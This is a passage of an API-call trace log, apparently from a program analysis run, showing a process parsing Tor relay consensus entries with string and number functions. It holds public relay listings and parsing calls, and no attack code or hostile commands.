Relay=1-2\nw Bandwidth=731\nr hozipi ALIqOUZNig9oebg/jlqo4oMPdAw 2017-08-21 03:42:01 188.174.164.217 80 110\nm eHqGX5t+spaXciCNnxrOjc4qwlpz7PXRIv5HLsUbC94\ns Fast Running V2Dir Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=206\nr QuengHoSpore ANXCb6OAXcmTRp1THD4LgLL78nQ 2017-08-21 19:20:38 93.29.252.27 9001 9002\nm S1ncRJDzMgpUB+0pP7CmrX4BHambbPf6Hob9i/KwWUc\ns Fast Running Stable V2Dir Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=49\nr MYLEX AQt3KEVEEfSFzinUx5oUU0FRwsQ 2017-08-21 04:05:49 188.230.91.173 444 800\nm BYw2DmjX6pT40ShiDifY97YN6rVBWS4PwUr7Kb/sqQQ\ns Fast Running V2Dir Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=1500\nr DigiGesTor1e1 ARG6m2BGaeY2/9W1A/OCpLetboA 2017-08-21 20:06:17 176.10.104.240 443 80\nm Bkm9UxfffNEj7bD7yENepcbe3ZJS9B09lpaeEHt0hDs\ns Exit Fast Guard Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=30200\nr mndo01 ARHr9cPwbAn/DtOXsN4zRWzG8uM 2017-08-21 18:34:31 139.59.210.198 9001 0\nm rUvK2DAfZAAw6qopNyGZ45AjC4y6L1fikgen5Udgflk\ns Running Stable V2Dir Valid\nv Tor 0.3.0.8\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=1\nr biochemistmoscow ASgRXsTMNXheAF8L8v7ffs3E8Ds 2017-08-21 20:36:08 5.228.12.221 12630 12631\nm jIeCthgvWahqvnicvDHwUVAvJLq8IanFu2rG11Lj80E\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.3.1.5-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=445\nr Pasuga AT4Dw+lRtHKDe9Yr4xY7oiWVUfY 2017-08-21 05:13:19 85.69.57.27 4445 8885\nm pnRN98HldcSPXpDMyJMwQaiqf117riRuDvHjHgHO+1Q\ns Fast Running V2Dir Valid\nv Tor 0.2.9.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=1080\nr marsmellow AU7iS8vaFg8jayVHpGObJ+MDoec 2017-08-21 07:05:21 62.251.89.74 9001 0\nm lRUWy4T957ovquITXh8Lvju0agJ8cCyWb3CFBlkSjbo\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=3890\nr zorroleroB AVjf5WgvIFDPAxs3PLpi8WextFY 2017-08-21 14:05:43 109.75.184.77 443 0\nm oAq7EvKbaN5GOpEJFhDJGo1V+OH6cCACfstXDN/D5n8\ns Fast Running Stable Valid\nv Tor 0.3.0.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=536\nr d0dak AWCT7kuumvRz/AyBGp0Q/aqco0s 2017-08-21 12:34:51 62.65.107.36 443 0\nm F/u3oUPA4i5rl1VcGNbjf1GMoj9YJjxPzk1ZvmYgadY\ns Fast Running Stable V2Dir Valid\nv Tor 0.2.9.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=891\nr heidelbeermann AWWmgIYt5cNM13JBE0cq97Hdyfs 2017-08-21 02:36:21 84.19.178.155 9001 0\nm R57tNDgaBefi3y1iqENry663CbjRAx/8tuj9eqeUdak\ns Fast Running Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=545\nr noce AWZNQagfgXo+cUANa/1AlHqkCvs 2017-08-21 17:01:46 216.127.173.78 443 80\nm RHZL8oqc/VXGKqpxxYycWEF4t2jDB9OBj7rYhOzCLiw\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.6\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=9030\nr hedden AXOnqLqdMgQ2QbaXJtMqmt/ibRY 2017-08-21 09:58:45 93.174.93.133 443 80\nm 8kUOtpUjcFfxz5U9Sobxvy/Z7jK8eYaG2tJjd0GV0JI\ns Exit Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=13300\nr Huddlepoop4 AXQZQsXHeVOE1lkkTdEXSZz4c2I 2017-08-21 08:47:30 178.157.198.187 9001 9030\nm lvXjLapF6OPpyT3VtHL2cabbUcVNEiNUSVpBLjT3lpI\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=5270\nr clifford AYA0aChQNFmEeB41O3pGNEPsPwY 2017-08-21 15:19:50 97.107.138.68 9001 0\nm f6glUpMp0kSOCz9GIK1aGy2okbci7DkKqS1tx5Onr3s\ns Fast Running Stable Valid\nv Tor 0.2.5.10\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=1210\nr multisec2 AaD8ChoRjh17F44jllQIDVz+Y/g 2017-08-21 17:12:17 193.90.12.87 9002 0\nm 82h6aIej6E2Oklo+QvO3LSVHebTbSR6u2NWi8jRP6ZI\ns Exit Fast Guard Running Stable Valid\nv Tor 0.2.7.6\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=6960\nr ForEdSnowden AaHRX5/GftBfopZv+IMGftUCzwg 2017-08-21 08:54:50 51.15.133.16 9001 0\nm 63VYlKb974uUXWxaiaKRoF/ji6cFBMi5ebi5RHVugPw\ns Fast Guard Running Stable Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=3560\nr Unnamed AaXrMo2ePpb0tMAXI7J9w0d39Dw 2017-08-21 13:40:59 185.80.222.105 9001 9030\nm Af8GyINB0hqle5c9RHM62p0Hl7Ge/HvpEDFR+GBXmT4\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=766\nr ins0 Aaklikbpf/iyyseRBXeGLBTyxSQ 2017-08-21 13:35:20 193.171.202.146 9001 9030\nm MeWdRvgTeReILiA8dUZTJ8PrpSm/2dYCjhyjhiDx6es\ns Exit Fast Guard Running Stable V2Dir Valid\nv Tor 0.3.0.5-rc\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=19700\nr Neurans AaqlqPTvVXyPn95IMpy4fzt0evQ 2017-08-21 15:54:48 98.206.202.53 443 0\nm PtY0SWQytPM4ocNiJQUol/CgjznBOXez7ve68rpIY5U\ns Fast Guard Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=3970\nr wsmith6079 Aa4AK05grlqP9A/bZyYPhasIeK4 2017-08-21 15:58:01 8.37.14.220 9001 9030\nm 1LCI7I00buV1LKcMCBdOZwI2D7DB5ImRiBgjfdlLu1g\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=4050\nr rixtyminutes Aa4t4xQnbIL8zDYDocLzI45lRMk 2017-08-21 15:22:19 149.56.233.142 443 80\nm dsCJtmBbhMsBLi2e3v7B6j1jS9MazB+qe3HvC5M47tI\ns Fast Guard Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=14800\nr dry AbN5Rg1ZY3CGUo3ht+x2nOeX248 2017-08-21 06:35:56 5.255.78.169 32442 26465\nm HoBdYyT4yFQYQBN84yO+tayKa150XRClilS+uGgeqzQ\ns Fast HSDir Running Stable V2Dir Valid\nv ", _SubStr="\nr ") returned="\nr itl11 AEWa8One0A5UpIsmgSZnn1ePaVo 2017-08-21 17:40:22 217.12.223.215 22 0\nm TXJa0g88hQDFbiVIgIk/52CAaWAQoMfnNXOd869Y0Ug\ns Fast Guard Running Stable Valid\nv Tor 0.3.1.5-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=7020\nr Gbit420 AF1cK2t2OHMDZimK1kVaeEdJomo 2017-08-21 11:16:49 151.80.16.34 9077 9030\nm sVLNcNTigiVlifK0nVXgEb3PD2sa9Lwe1Ll04uIeGXA\ns Fast Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=15800\nr MiningCrew028 AF237jbm2mx+F4sMNr6HlMEHJyA 2017-08-21 17:44:11 35.188.143.6 9001 9030\nm 86PugrjeVPl1KEgNIv4qLgFy2bWlBclsNvJ/1MDLyi8\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=15900\nr Torpi AHJ/OiwdDxcxqRJnxBFQecFrILQ 2017-08-21 14:02:42 60.225.57.95 9001 9030\nm OQlZwMpEmcbyisDOjQ8hBI5X5otg2VaihxfNQalzuzU\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.2.4.29\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=23\nr Quintex13 AHe8unJE2z5qXtJ0boYXAGZoSIc 2017-08-21 06:37:12 199.249.223.62 443 80\nm MSgi5gqKShKxEL1nL1Qv7wPjKACZVRtWMuGS+LYOcrY\ns Exit Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.1.4-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=4160\nr torr0zzy AHkAkox9OM/cs7yEB8rW7leiT+I 2017-08-21 10:06:35 88.198.11.171 9001 9030\nm cOR+jaMOGASTniwVtosZ3jvRKeQasm+kknW4kVeqdwI\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=10700\nr powertoyou AIuoi8XPytZLWDhuE4gzcfgX4cI 2017-08-21 16:09:36 88.15.188.87 9001 9030\nm elq2XVA8OvqQajpSxd6rSnnuKnX1wHSGsEacpwHjDZg\ns Fast Guard Running Stable V2Dir Valid\nv Tor 0.2.7.6\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=9680\nr BobDoe AJQ2YvMOznqi0SYrNk/AQx94+Aw 2017-08-21 08:29:18 167.114.35.107 443 0\nm OD8mzIC+AdfqQquU61OiKu4NI62LNLQ/OrxcM2dkpeI\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=8850\nr jactr AJhR35M3VLAN3odvzkCIzhtJQME 2017-08-21 17:27:06 84.40.112.70 9001 9030\nm 8oad5yZhagCebsoaJTZTDvIpKzqBiWpdugcgqcBWLnc\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=363\nr CommanderRoots AKMAUbHTEtCYv18DVDzWjvbctKw 2017-08-21 09:30:19 188.68.33.125 9001 9030\nm AhXIeVLoNu3NoIN6OYhBz7Y3xVnydnpGdTyZsFl+TVk\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.3.1.5-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=731\nr hozipi ALIqOUZNig9oebg/jlqo4oMPdAw 2017-08-21 03:42:01 188.174.164.217 80 110\nm eHqGX5t+spaXciCNnxrOjc4qwlpz7PXRIv5HLsUbC94\ns Fast Running V2Dir Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=206\nr QuengHoSpore ANXCb6OAXcmTRp1THD4LgLL78nQ 2017-08-21 19:20:38 93.29.252.27 9001 9002\nm S1ncRJDzMgpUB+0pP7CmrX4BHambbPf6Hob9i/KwWUc\ns Fast Running Stable V2Dir Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=49\nr MYLEX AQt3KEVEEfSFzinUx5oUU0FRwsQ 2017-08-21 04:05:49 188.230.91.173 444 800\nm BYw2DmjX6pT40ShiDifY97YN6rVBWS4PwUr7Kb/sqQQ\ns Fast Running V2Dir Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=1500\nr DigiGesTor1e1 ARG6m2BGaeY2/9W1A/OCpLetboA 2017-08-21 20:06:17 176.10.104.240 443 80\nm Bkm9UxfffNEj7bD7yENepcbe3ZJS9B09lpaeEHt0hDs\ns Exit Fast Guard Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=30200\nr mndo01 ARHr9cPwbAn/DtOXsN4zRWzG8uM 2017-08-21 18:34:31 139.59.210.198 9001 0\nm rUvK2DAfZAAw6qopNyGZ45AjC4y6L1fikgen5Udgflk\ns Running Stable V2Dir Valid\nv Tor 0.3.0.8\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=1\nr biochemistmoscow ASgRXsTMNXheAF8L8v7ffs3E8Ds 2017-08-21 20:36:08 5.228.12.221 12630 12631\nm jIeCthgvWahqvnicvDHwUVAvJLq8IanFu2rG11Lj80E\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.3.1.5-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=445\nr Pasuga AT4Dw+lRtHKDe9Yr4xY7oiWVUfY 2017-08-21 05:13:19 85.69.57.27 4445 8885\nm pnRN98HldcSPXpDMyJMwQaiqf117riRuDvHjHgHO+1Q\ns Fast Running V2Dir Valid\nv Tor 0.2.9.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=1080\nr marsmellow AU7iS8vaFg8jayVHpGObJ+MDoec 2017-08-21 07:05:21 62.251.89.74 9001 0\nm lRUWy4T957ovquITXh8Lvju0agJ8cCyWb3CFBlkSjbo\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=3890\nr zorroleroB AVjf5WgvIFDPAxs3PLpi8WextFY 2017-08-21 14:05:43 109.75.184.77 443 0\nm oAq7EvKbaN5GOpEJFhDJGo1V+OH6cCACfstXDN/D5n8\ns Fast Running Stable Valid\nv Tor 0.3.0.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=536\nr d0dak AWCT7kuumvRz/AyBGp0Q/aqco0s 2017-08-21 12:34:51 62.65.107.36 443 0\nm F/u3oUPA4i5rl1VcGNbjf1GMoj9YJjxPzk1ZvmYgadY\ns Fast Running Stable V2Dir Valid\nv Tor 0.2.9.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=891\nr heidelbeermann AWWmgIYt5cNM13JBE0cq97Hdyfs 2017-08-21 02:36:21 84.19.178.155 9001 0\nm R57tNDgaBefi3y1iqENry663CbjRAx/8tuj9eqeUdak\ns Fast Running Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=545\nr noce AWZNQagfgXo+cUANa/1AlHqkCvs 2017-08-21 17:01:46 216.127.173.78 443 80\nm RHZL8oqc/VXGKqpxxYycWEF4t2jDB9OBj7rYhOzCLiw\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.6\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=9030\nr hedden AXOnqLqdMgQ2QbaXJtMqmt/ibRY 2017-08-21 09:58:45 93.174.93.133 443 80\nm 8kUOtpUjcFfxz5U9Sobxvy/Z7jK8eYaG2tJjd0GV0JI\ns Exit Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=13300\nr Huddlepoop4 AXQZQsXHeVOE1lkkTdEXSZz4c2I 2017-08-21 08:47:30 178.157.198.187 9001 9030\nm lvXjLapF6OPpyT3VtHL2cabbUcVNEiNUSVpBLjT3lpI\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=5270\nr clifford AYA0aChQNFmEeB41O3pGNEPsPwY 2017-08-21 15:19:50 97.107.138.68 9001 0\nm f6glUpMp0kSOCz9GIK1aGy2okbci7DkKqS1tx5Onr3s\ns Fast Running Stable Valid\nv Tor 0.2.5.10\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=1210\nr multisec2 AaD8ChoRjh17F44jllQIDVz+Y/g 2017-08-21 17:12:17 193.90.12.87 9002 0\nm 82h6aIej6E2Oklo+QvO3LSVHebTbSR6u2NWi8jRP6ZI\ns Exit Fast Guard Running Stable Valid\nv Tor 0.2.7.6\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=6960\nr ForEdSnowden AaHRX5/GftBfopZv+IMGftUCzwg 2017-08-21 08:54:50 51.15.133.16 9001 0\nm 63VYlKb974uUXWxaiaKRoF/ji6cFBMi5ebi5RHVugPw\ns Fast Guard Running Stable Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=3560\nr Unnamed AaXrMo2ePpb0tMAXI7J9w0d39Dw 2017-08-21 13:40:59 185.80.222.105 9001 9030\nm Af8GyINB0hqle5c9RHM62p0Hl7Ge/HvpEDFR+GBXmT4\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=766\nr ins0 Aaklikbpf/iyyseRBXeGLBTyxSQ 2017-08-21 13:35:20 193.171.202.146 9001 9030\nm MeWdRvgTeReILiA8dUZTJ8PrpSm/2dYCjhyjhiDx6es\ns Exit Fast Guard Running Stable V2Dir Valid\nv Tor 0.3.0.5-rc\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=19700\nr Neurans AaqlqPTvVXyPn95IMpy4fzt0evQ 2017-08-21 15:54:48 98.206.202.53 443 0\nm PtY0SWQytPM4ocNiJQUol/CgjznBOXez7ve68rpIY5U\ns Fast Guard Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=3970\nr wsmith6079 Aa4AK05grlqP9A/bZyYPhasIeK4 2017-08-21 15:58:01 8.37.14.220 9001 9030\nm 1LCI7I00buV1LKcMCBdOZwI2D7DB5ImRiBgjfdlLu1g\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=4050\nr rixtyminutes Aa4t4xQnbIL8zDYDocLzI45lRMk 2017-08-21 15:22:19 149.56.233.142 443 80\nm dsCJtmBbhMsBLi2e3v7B6j1jS9MazB+qe3HvC5M47tI\ns Fast Guard Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=14800\nr dry AbN5Rg1ZY3CGUo3ht+x2nOeX248 2017-08-21 06:35:56 5.255.78.169 32442 26465\nm HoBdYyT4yFQYQBN84yO+tayKa150XRClilS+uGgeqzQ\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.2.7.6\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=1150\nr UEUEUEU Abi++ERfTrx0t2bREPiiZkyV25Q 2017-08-21 03:29:06 65.50.203.5 9001 9030\nm He5seWcgBtH19Czt0F8pid/dgVK9DHLYcSCzeT3BsKo\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.8\npr Cons=1-" [0119.877] strlen (_Str="\ndirectory-footer") returned 0x11 [0119.877] memchr (_Buf=0x3941681, _Val=10, _MaxCount=0x133) returned 0x39416d8 [0119.877] strncmp (_Str1="m te1eP9gwz", _Str2="-----BEGIN ", _MaxCount=0xb) returned 64 [0119.877] strncmp (_Str1="s Fast Guar", _Str2="-----BEGIN ", _MaxCount=0xb) returned 70 [0119.877] strncmp (_Str1="v Tor 0.3.0", _Str2="-----BEGIN ", _MaxCount=0xb) returned 73 [0119.877] strncmp (_Str1="pr Cons=1-2", _Str2="-----BEGIN ", _MaxCount=0xb) returned 67 [0119.877] strncmp (_Str1="w Bandwidth", _Str2="-----BEGIN ", _MaxCount=0xb) returned 74 [0119.877] htonl (hostlong=0x9fcb2afe) returned 0xfe2acb9f [0119.877] htonl (hostlong=0xfe2acb9f) returned 0x9fcb2afe [0119.877] _errno () returned 0x9f07d8 [0119.877] strtol (in: _Str="9001", _EndPtr=0x36f004, _Radix=10 | out: _EndPtr=0x36f004*="") returned 9001 [0119.877] _errno () returned 0x9f07d8 [0119.877] _errno () returned 0x9f07d8 [0119.877] strtol (in: _Str="443", _EndPtr=0x36f004, _Radix=10 | out: _EndPtr=0x36f004*="") returned 443 [0119.877] _errno () returned 0x9f07d8 [0119.877] strncmp (_Str1="Tor ", _Str2="Tor ", _MaxCount=0x4) returned 0 [0119.877] strtol (in: _Str="0.2.4.8-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".2.4.8-alpha") returned 0 [0119.877] strtol (in: _Str="2.4.8-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".4.8-alpha") returned 2 [0119.877] strtol (in: _Str="4.8-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".8-alpha") returned 4 [0119.877] strtol (in: _Str="8-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*="-alpha") returned 8 [0119.877] strncmp (_Str1="", _Str2="(r", _MaxCount=0x2) returned -40 [0119.877] strlen (_Str="(git-") returned 0x5 [0119.878] strncmp (_Str1="", _Str2="(git-", _MaxCount=0x5) returned -40 [0119.878] strlen (_Str="Tor ") returned 0x4 [0119.878] strncmp (_Str1="Tor ", _Str2="Tor ", _MaxCount=0x4) returned 0 [0119.878] strlen (_Str="(r") returned 0x2 [0119.878] strncmp (_Str1="", _Str2="(r", _MaxCount=0x2) returned -40 [0119.878] strlen (_Str="(git-") returned 0x5 [0119.878] strncmp (_Str1="", _Str2="(git-", _MaxCount=0x5) returned -40 [0119.878] strtol (in: _Str="0.3.0.9", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".3.0.9") returned 0 [0119.878] strtol (in: _Str="3.0.9", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".0.9") returned 3 [0119.878] strtol (in: _Str="0.9", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".9") returned 0 [0119.878] strtol (in: _Str="9", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*="") returned 9 [0119.878] strncmp (_Str1="", _Str2="(r", _MaxCount=0x2) returned -40 [0119.878] strlen (_Str="(git-") returned 0x5 [0119.878] strncmp (_Str1="", _Str2="(git-", _MaxCount=0x5) returned -40 [0119.878] strlen (_Str="Bandwidth=") returned 0xa [0119.878] strncmp (_Str1="Bandwidth=", 